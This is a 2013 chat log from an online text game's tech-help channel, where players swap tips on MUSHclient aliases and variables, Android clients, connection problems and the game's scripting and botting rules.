T3/r7/2013-06-09.txt.gz:{chan ch=tech}Tech: Zoee smiles happily.
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Vonliege Tech: so your variable is @offhand
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Vonliege Tech: oh.. you figured it out
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Zoee Tech: yep! but it says variable offhand is not defined.
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Zoee Tech: thought the setvariable command does define and assign value to variable
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Leinei Tech: where did you do SetVariable("dualed", "offhand")?
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Leinei Tech: Also, "dualed" is the variable name.  "offhand" is the content of the variable
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Leinei Tech: So @offhand wouldn't be defined in that case
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Zoee Tech: inside my alias definition
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Zoee Tech: oh i see. what i wanted was for my smart alias to read what i am wielding so that when i change my off-hand weapon it doesn't need updating
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Leinei Tech: Then you'd want an alias that matches on "dual *" and does SetVariable("offhand", %1)
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Leinei Tech: Assuming that's when you want the variable updated
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Leinei Tech: Might have to put quotes around %1 -- I never remember exactly how it handles contents of wildcards
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Zoee Tech: guess i know what you mean. does it matter if variable is defined in a different alias and used in another?
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Nods, %1-%99 needs to be a string value
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Leinei Tech: Whenever you use SetVariable, it goes into the global MUSH variable list
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Leinei Tech: So no, it wouldn't matter
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Zoee Tech: is it stored even after restarting MUSH?
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Leinei Tech: Yep
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Zoee Tech: wonderful! game is on. will send an update :)
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Zoee Tech: hey there. thanks for the advice. i have my aliases set now. big big thanks.
T3/r7/2013-06-09.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: so i downloaded aardmush to try it  now when i use my mushclient that doesn't use gmcp i have (chan ch=foo) coordflags while running and after desc <mapstart> when moving and can't find a way to toggle them
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Wildkard Tech: it turned your tags on
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Wildkard Tech: help tags
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Ayasinda Tech: tags off
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Tech: Wildkard mutters something about giving man a fish
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Zoee Tech: is there a way to find and replace something in all my aliases?
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Ayasinda Tech: I think you have to go through them manually
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Zoee Tech: that's painful. can i save them to a file and import them back?
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Vonliege Tech: in the future (and I know you've been playing with them), you'll want to use LOTS of variables.
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Zoee Tech: i see what you mean
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Digs Tech: You could create a plugin from them.
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Ayasinda Tech: Zoee If you save (which you can do from the alias screen) them they will be saved as MCA file. You can open that file woth notepad. Edit it and then load it back in the alias screen.
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Zoee Tech: omg. you guys are legends :)
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Tigernuts Tech: is it possible in any shape/form to play xbox 360 games on a pc?
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Kalderasha Tech: hi are there connectivity issues at present?
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Book of Etzli Tech: Not that I know of.
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Dfury Tech: negative
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Kalderasha Tech: I'm DCing alot today, and my internet seems pretty solid (wife having no issues on her PC)
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Book of Etzli Tech: tracert to aardwolf.com, see where the bad connection is?
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Kalderasha Tech: this is unusual for me.  Anything I should do to troubleshoot?
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Tech: Book of Etzli shrugs helplessly.
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Book of Etzli Tech: Er, aardmud.org, not aardwolf.com
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Kalderasha Tech: GAH! i jsut dcd... then dcd when i was coming back on
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Book of Etzli Tech: tech -h for the history. :p
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Book of Etzli Tech: Not much was said other than my suggestion to tracert.
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Roidrage Tech: did that guy fix his internet problem
T3/r7/2013-06-09.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: unknown
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Book of Etzli Tech: No, looks like there's router trouble in NY or something that's in his path to Aardwolf.
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Roidrage Tech: sounds technical
T3/r7/2013-06-09.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: sounds like a pain
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Roidrage Tech: indeed it does
T3/r7/2013-06-09.txt.gz:{chan ch=tech}BobTheGreat Tech: Would anyone know why Chrome won't open any webpages and instead give me this error?  Error 104 (net::ERR_CONNECTION_FAILED): The attempt to connect to the server failed.
T3/r7/2013-06-09.txt.gz:{chan ch=tech}BobTheGreat Tech: Note that it's not the standard error given when the internet connection is not existant or not working.
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Roidrage Tech: check your proxy settings
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Tynrael Tech: run cmd, ping www.google.com and ping 173.194.67.103
T3/r7/2013-06-09.txt.gz:{chan ch=tech}BobTheGreat Tech: That's what's boggling me, I can connect to Aardwolf fine
T3/r7/2013-06-09.txt.gz:{chan ch=tech}BobTheGreat Tech: Or ping anything for that matter.
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Tynrael Tech: if your online and you can't ping google but you can ping the ip its most likely a dns issue
T3/r7/2013-06-09.txt.gz:{chan ch=tech}BobTheGreat Tech: DNS is not an issue, 'google.com' works fine.
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Digs Tech: https://groups.google.com/forum/?fromgroups#!topic/chromium-discuss/e25dHM12Gmc
T3/r7/2013-06-09.txt.gz:{chan ch=tech}BobTheGreat Tech: If it helps, I'm directly connected through an ethernet cable to a router for the first time in a long time now.
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Acidangel Tech: what does none friendly error say?
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Acidangel Tech: in chrome
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Roidrage Tech: did u try a different browser
T3/r7/2013-06-09.txt.gz:{chan ch=tech}BobTheGreat Tech: IE doesn't work either.
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Roidrage Tech: probably malware issue or cookie corruption
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Roidrage Tech: try clearing cookies and check proxy settings 
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Roidrage Tech: scan for malware
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Roidrage Tech: even uninstall chrome and delete /<UserName>/Local Settings/Application Data/Google/Chrome
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Roidrage Tech: then try again
T3/r7/2013-06-09.txt.gz:{chan ch=tech}BobTheGreat Tech: It's not an issue with Chrome because IE won't connect to servers either
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Acidangel Tech: just download opera  ... its > *
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Roidrage Tech: then who knows
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Tynrael Tech: checkout hijackthis from trendmicro
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Tynrael Tech: well, not having net makes things hard  o.O
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Tynrael Tech: I setup a few aliases with varibles using Mush- is there a way to suppress the multiple commands from being posted to my main window?
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Le do, lo  Shakia Tech: tick omit from output
T3/r7/2013-06-09.txt.gz:{chan ch=tech}Tynrael Tech: thanks
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Fravardin Tech: does anyone know a good client for Android?
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Fravardin Tech: 4.2.2
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: blowtorch, listed as 'Aardwolf Mud'
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Belte Tech: blowtorch
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Ixle Tech: Search the play store for aardwolf
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Could be 'Aardwolf RPG' I'm told :-P
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: that should be blowtorch customised for aard
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Fravardin Tech: I got Aardwolf RPG and Blowtorch?...
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Ixle Tech: They are the same program, but 'aardwolf rpg' has some things set up for you just for Aardwolf
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Belte Tech: both work
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Fravardin Tech: so RPG then?
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Tech: Ixle nods.
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Fravardin Tech: cant see anything im typing
T3/r7/2013-06-10.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: why not? what client?
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Fravardin Tech: RPG just crashed
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Ixle Tech: Fravardin, is that because the virtual keyboard covers up the bottom part of the screen perhaps?
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Jopari Tech: i am using the same client but noticing no ill effects
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Fravardin Tech: everything moves up but words only appear after I'm done typing them
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Fravardin Tech: maybe it doesn't like my phone then
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: What keyboard?
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Jopari Tech: so you can't see it while you are typing?
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Fravardin Tech: yes, but once I hit space the words pop up
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Fravardin Tech: okay I just installed blowtorch looks a little better  hasn't crashed yet
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Belte Tech: samsung devices work better with blowtorch
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Fravardin Tech: yeah I'm using the gs4
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Fravardin Tech: can I add plug ins to blowtorch
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Ayasinda Tech: no
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Fravardin Tech: shortcuts?
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Ayasinda Tech: like aliasses and triggers? yes
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Ixle Tech: You can make aliases, buttons, and triggers (aka actions)
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Fravardin Tech: please walk me through those
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Ayasinda Tech: long walk. There is a complete tutorial on the blowtorch website
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Fravardin Tech: okay thanks I'll check it out
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Ixle Tech: Just a shot in the dark here, but do you have access to a linux computer? If so there is a much better option than using a mobile mud client.
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Jopari Tech: can you flip the screen using blowtorch client on phone?
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Jopari Tech: can i flip my screen on phone.
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Jopari Tech: ?
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: As in upside down?
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Tech: Jopari nods.
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: no :P
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Jopari Tech: dang it.
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: What on earth would you want to for? :P The backside of a phone screen is just black :P
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Tech: VampireDude didnt play the race card.
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Jopari Tech: the screen is upside down when charging.
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Jopari Tech: that puts me it an uncomfortable position
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Wait...what...
T3/r7/2013-06-10.txt.gz:{chan ch=tech}VampireDude Tech: cheeze, he was inverted also.
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Jopari Tech: ??
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Oh, I see what you're saying now. You can lock the rotation on your phone, assuming it's android or ios
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Jopari Tech: it isn't rotating. that is the prob
T3/r7/2013-06-10.txt.gz:{chan ch=tech}VampireDude Tech: but he means in app. he uses blowtorch to mud 
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: "Flip" to me means taking the screen out and putting it back in upside down (display inwards) and I was confused why you'd want to
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Vonliege Tech: I tried flipping the image on my monitor... but when I look at it from behind, all I see are wires and the manufacturers label
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Tech: Jopari sighs.
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Vonliege Tech: the name of the channel is 'tech'... not 'competent tech' =)
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Tech: Jopari falls down laughing.
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Tech: VampireDude is more competent tech than von.
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: http://www.howtogeek.com/howto/26715/how-to-make-your-android-phone-stop-rotating-the-screen-when-you%E2%80%99re-reading-sideways/
T3/r7/2013-06-10.txt.gz:{chan ch=tech}VampireDude Tech: cheez, but he needs it in app...
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Jopari Tech: i meant it is not rotating.
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: There's no way for that to happen, unless the dev puts in a locking block. You have to disable the entire rotation if the app doesn't specifically implement it
T3/r7/2013-06-10.txt.gz:{chan ch=tech}VampireDude Tech: Jopari, the android app i use to play also doesnt rotate.
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Jopari Tech: dang it.
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Bit by bit, tech channel is slowly turning into "Let me ask a retarded question, and you all explain why it's retarded while I quit paying attention to you"
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Total mischan :P
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Tech: Helperful Cheezburger sighs.
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Jopari Tech: gah
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: And no, that wasn't in reference to you :P
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Jopari Tech: thanks
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: That's less of a tech thing and more of a VampireDude thing, though
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Tech: Helperful Cheezburger laffs.
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: No comment :P
T3/r7/2013-06-10.txt.gz:{chan ch=tech}VampireDude Tech: tsk tsk. and here i helped. what did you do but make personal attacks vakieh
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Dtboy Tech: how fast is hspda compared to wcdma
T3/r7/2013-06-10.txt.gz:{chan ch=tech}ElFeneri Tech: it's not two different things, but it's different depending on how many links your operator allows you to use
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Dtboy Tech: oh
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Dtboy Tech: so i bet hspda is better?
T3/r7/2013-06-10.txt.gz:{chan ch=tech}ElFeneri Tech: hs is a part of wcdma
T3/r7/2013-06-10.txt.gz:{chan ch=tech}ElFeneri Tech: it will also depend on the distance from the base station and how many use data transfers. The standars allows for speeds up to 80MBps or something like that. I'm quite sure that you will not find connections of that speed in many places though
T3/r7/2013-06-10.txt.gz:{chan ch=tech}ElFeneri Tech: standard*
T3/r7/2013-06-10.txt.gz:{chan ch=tech}ElFeneri Tech: during "normal" circumstances I get around 10-20MBps
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Dtboy Tech: i always get 3.4mbps
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Dtboy Tech: correction 3.6
T3/r7/2013-06-10.txt.gz:{chan ch=tech}ElFeneri Tech: and aI mean Mbps not MBps of course.
T3/r7/2013-06-10.txt.gz:{chan ch=tech}ElFeneri Tech: what ping times do you get?
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Dtboy Tech: huh :p
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Dtboy Tech: btw using a modem
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: `ping google.com` what sort of times do you get?
T3/r7/2013-06-10.txt.gz:{chan ch=tech}ElFeneri Tech: Some networks have hsupa 10ms from wcdma v7 live in them. That allows for faster ping times.
T3/r7/2013-06-10.txt.gz:{chan ch=tech}ElFeneri Tech: if you don't get ping times < 10ms you are not in such a network
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Dtboy Tech: all that i know my coubtry is a network poor country...if its expensive its good for a while, if its extremely cheap its heavy bad
T3/r7/2013-06-10.txt.gz:{chan ch=tech}ElFeneri Tech: I see
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Mushambo Tech: Anyone have a Nook HD+ ? Barnes&Noble is selling them for $150 this week, which sounds like a pretty good deal to me...?
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Silentdecay Tech: can anybody help me write a trigger/alias to heal until my health is full when i type Heal_?
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Endtime Tech: healing triggers are probably not a good idea
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Tech: Faylen is agreeing with that Endtime person again...
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Silentdecay Tech: to close to botting?
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: For 1, it'd be an alias because it would happen when he typed 'heal', and the way he described it's functionality is perfectly legal :P
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Faylen Tech: better to do some kind of alarm to warn you about low hp
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Endtime Tech: a healing alias would be a much better idea :)
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Silentdecay Tech: is there a whats the variable for hp? %H?
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Silentdecay Tech: thats what i think endtime
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Silentdecay Tech: but i dont know how this mud references health so i can check...
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: There is no 'variable' for hp inside you client. But, it can be found in your GMCP info
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Silentdecay Tech: whats gmcp?
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: help gmcp :P
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Sonshi Tech: you could just make a macro and mash that button an appropriate number of times when you need to heal.
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Silentdecay Tech: but taking the time to automate the process as soon as i type Heal_ would be easier sonshi
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Silentdecay Tech: basically it would work with an algorithm like this. Heal_ - cast cure light - check hp value, if below 100% then repeat, else end
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Silentdecay Tech: that kind of thing
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Sonshi Tech: that could get you killed if you're in a room that's killing you faster than you heal though
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Silentdecay Tech: thatd be my mistake for typing heal_ though :P i could set up one for each heal spell i have
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Silentdecay Tech: thus allowing for my discretion on which one would suffice
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Vuron Tech: this for in combat or out?  I wouldn't want to stack commands like that either way
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Silentdecay Tech: out of combat, simply because you can set the auto chicken
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: If you're wanting to use this for combat, I would suggest just doing an accelerator on alt+h or something, so you can just hit that until healed instead of letting a script recurse until which point you're either healed or dead.
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Sonshi Tech: out of combat, I find sleeping on tick much more efficient
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: autochicken == wimpy :P
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Silentdecay Tech: auto chicken = = awesome sauce x)
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I meant it's called wimpy, not autochicken :P
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Faylen Tech: unless you keep fleeing between two aggies and can't enter any commands to get out of it
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Sonshi Tech: gyanis!
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Silentdecay Tech: didnt think of that... x(
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Silentdecay Tech: i like callign it auto chicken x)
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Silentdecay Tech: cause it technically is a chicken thing to do lol
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Sonshi Tech: cp mob to gyanis at sc = fun times
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: or a 'wimpy' thing to do..
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Silentdecay Tech: shush x) stop using logic lol
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Ayasinda Tech: stop using logic? That's not logical.
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: Oh Noes, logic on the _technical_ channel - whodathunkit.
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Silentdecay Tech: x) hehe
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Silentdecay Tech: one more Q
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Silentdecay Tech: does mushclient support lua or c or any codign language?
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: lua
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: Sorry, your limit is up for the day.  You can try back tomorrow, but it's not looking good either! *flee*
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Ayasinda Tech: and others
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: and vbscript, python, and ruby
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Silentdecay Tech: oooo the fun things you could do with this :D
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Silentdecay Tech: can somebody tell me the jist of what is not allowed in scripts? or is it simply limited to "dont automate the game"?
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: Read help botting.
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: help bot
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Ayasinda Tech: in short anything that makes your character gain anything
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Tigernuts Tech: take a look at clan light players, then you know that is what you're not allowed to do
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: or look at imperium on how to not get caught :P
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Silentdecay Tech: imperium?
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Tigernuts Tech: best afk triggers in the game
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Tech: Tigernuts bows deeply.
T3/r7/2013-06-10.txt.gz:{chan ch=tech}HyperDrive Pheonixs Tech: hmm Could I get some help with mushclient ? :D
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Garthis Tech: hmm dunno depends on the question  :-)
T3/r7/2013-06-10.txt.gz:{chan ch=tech}HyperDrive Pheonixs Tech: I wanna make a trigger/ailises (i'm use-to zmud and mush is all kinda of wonky to me xP) that when ever I catch a tell it sends me a beep sound
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Garthis Tech: well for mush you could finger winklewinkle and look at his plugins for sound and find a way to make one for tells
T3/r7/2013-06-10.txt.gz:{chan ch=tech}HyperDrive Pheonixs Tech: but I don't understand how to even make one on mush heh. 
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Maul Tech: Hey guys. Just got back from a 2 year break and I'm using Mushclient for the first time. I'm trying to figure out how to erase an entire sentence with one click and people keep telling me that down arrow does that. But not for me? When I press down arrow I get a popup asking if I would like to replace my current sentence with ""?
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Failboat Tech: shit I forgot E3 is on Spike
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Tigernuts Tech: anyone know about the technology underlying data over powerline>
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: in mushclient are plugins insular or can you call functions across plugins?
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Leinei Tech: A little bit of both
T3/r7/2013-06-10.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: they can call functions across plugins if you write them properly you need to use onpluginbroadcast and callplugin fucntions
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Leinei Tech: They're generally in their own space, but you can use special functions to call functions/variables/etc. from other plugins
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: will look those up, thanks.
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Roidrage Tech: can someone help me please i get some error when  i open mush client it says something about unable to load save state plugin 
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Hollister Tech: oh no I flipped my screen over. how do I get it back?
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Roidrage Tech: you buy a new one
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Roidrage Tech: duh
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Vonliege Tech: is there a down and dirty way to include a delay in an alias?  like for when I give 10,000 coins to the beggar in Nix, it takes a couple seconds for the prog to run before I want to execute the next step in the alias
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Silentdecay Tech: are you coding them in lua? or just plain text
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Nissassa Ssadab Tech: depends on the language you use you can just use wait if you have lua set otherwaise the easiest it to set the alias to send as a speedwalk from your client and set a delay between SW commands in your configs
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I believe Fiendish included a Wait() lua function in later aardmushes which can be used for this purpose
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Vonliege Tech: I'm using aardmush, so I guess the underlying architecture is lau... but I just wanna make an alias, not a script.  I'm not devoted enough to this game to get into scripting
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You must use scripting, or a mudside solution
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: A mudside solution would be to send a couple of commands with lag inside the alias
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Nissassa Ssadab Tech: the aardmush is just mushclient with an aardwolf worldfile and some special plugins loaded you can have set the language to anything
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Vonliege Tech: I don't know if mudside lag would do it... the alias includes 'mapper goto xxx' commands, so is set to 'execute'... it doesn't wait to see what's happening in the mud befor sending them all.
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Nissassa Ssadab Tech: this is simple to do client level as well
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Nissassa Ssadab Tech: 1. make sure you have speedwalking enabled within commands menu and you know what the SW prefix is 2. make the alias send to execute the when you get to the section you want the lag added use ;prefix(command); 
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Nissassa Ssadab Tech: for that point on you can adjust the delay added from the commands menu.
T3/r7/2013-06-10.txt.gz:{chan ch=tech}DarkPchan Tech: is anyone familiar with blowtorch version of aliases and know how to create similar functions in mushclient?
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Daddy Spoke Tech: is there any way to make something equivalent to #loop {1,10} {say %1} (tintin++/zMud) on Mushclient?
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Daddy Spoke Tech: Anybody?
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Nissassa Ssadab Tech: what does that do? should be difficult to make something similiar
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Nissassa Ssadab Tech: shouldn't*
